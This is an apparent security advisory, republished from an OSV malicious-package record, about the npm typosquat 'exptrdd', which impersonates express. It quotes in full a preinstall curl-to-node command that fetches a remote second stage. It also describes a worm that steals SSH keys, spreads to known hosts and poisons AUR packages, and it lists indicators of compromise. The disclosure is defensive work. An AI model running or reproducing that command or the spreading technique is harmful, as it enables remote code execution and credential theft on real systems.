Skip to content
Heist/ feed
Unrated

Malicious code in exptrdd (npm)

Type: advisorySource: OSV1 source record

The package exptrdd impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email s7dwzxru4z@ooynib.com), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd. On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the

Announced Source revision 1
Original source ↗

MAL-2026-17245

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:MAL-2026-17245

exptrdd

Source reference: /affected/0/package/name

Affected versions
5.2.1

Source reference: /affected/0/versions

Fixed versions
Not stated in this record
Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "package": {
      "name": "exptrdd",
      "purl": "pkg:npm/exptrdd",
      "ecosystem": "npm"
    },
    "versions": [
      "5.2.1"
    ],
    "database_specific": {
      "cwes": [
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        }
      ],
      "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/exptrdd/MAL-2026-17245.json",
      "indicators": {
        "evidence_files": [
          {
            "path": "package.json",
            "tlsh": "3e51da21cc0e8c6326c5a2dd3c69a542612188078e41f81cf769539c8f8e56f71b9fbf",
            "sha256": "35c27145148e489ab8fcc6ff09201ee8806a01b26dc2313199ccea49b8d9c400"
          }
        ],
        "package_integrity": [
          {
            "hashes": {
              "sha1": "fc58a91ed7c5a2fb45ff4576cfd90c9e2340ba94",
              "sha512_sri": "sha512-mheJ2q9ybO70PBK3n/0QC/Bg4DEi13mtUvkDtqqD0rjL6ILm4jxtv0W7rVi+/hYtc5AVBZFm3LKNeW0TBQuoRQ=="
            },
            "filename": "exptrdd-5.2.1.tgz"
          }
        ]
      }
    }
  }
]

Publisher severity

No explicit severity was provided.

Event
#65346 · Revision 1
Added to Heist Feed
Publisher date
Read the original announcement